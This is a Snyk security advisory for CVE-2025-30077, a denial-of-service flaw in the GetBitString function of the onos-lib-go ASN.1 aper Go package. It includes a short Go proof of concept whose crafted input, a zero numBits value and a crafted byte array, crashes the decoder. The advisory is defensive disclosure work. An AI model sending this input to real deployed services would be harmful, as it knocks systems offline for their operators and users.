Improper Validation of Array Index Affecting github.com/onosproject/onos-lib-go/pkg/asn1/aper package, versions >=0.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMONOSPROJECTONOSLIBGOPKGASN1APER-9459055
  • published16 Mar 2025
  • disclosed16 Mar 2025
  • creditty3gx

Introduced: 16 Mar 2025

NewCVE-2025-30077  (opens in a new tab)
CWE-129  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

Affected versions of this package are vulnerable to Improper Validation of Array Index due to an index out-of-range error in the GetBitString function. An attacker can cause a denial of service by sending crafted input that specifies a zero value for numBits.

PoC

package main

import (
    "encoding/hex"

    "github.com/onosproject/onos-e2-sm/servicemodels/e2sm_mho_go/encoder"
    "github.com/onosproject/onos-lib-go/pkg/asn1/aper"
    "github.com/onosproject/onos-lib-go/pkg/errors"
    "google.golang.org/protobuf/proto"
)

func main() {
    aper.GetBitString([]byte{1}, 0, 0) // minimum code to reproduce the panic

    asnBytes := []byte{16, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1}
    protoBytes, err := EventTriggerDefinitionASN1toProto(asnBytes)
    if err != nil {
        println(err)
        return
    }
    println(protoBytes)
}

func EventTriggerDefinitionASN1toProto(asn1Bytes []byte) ([]byte, error) {
    perBytes, err := encoder.PerDecodeE2SmMhoEventTriggerDefinition(asn1Bytes)
    if err != nil {
        return nil, errors.NewInvalid("error decoding E2SmMhoEventTriggerDefinition to PER %s\n%v", err, hex.Dump(asn1Bytes))
    }

    protoBytes, err := proto.Marshal(perBytes)
    if err != nil {
        return nil, errors.NewInvalid("error marshalling asn1Bytes to E2SmMhoEventTriggerDefinition %s", err)
    }

    return protoBytes, nil
}

CVSS Base Scores

version 4.0
version 3.1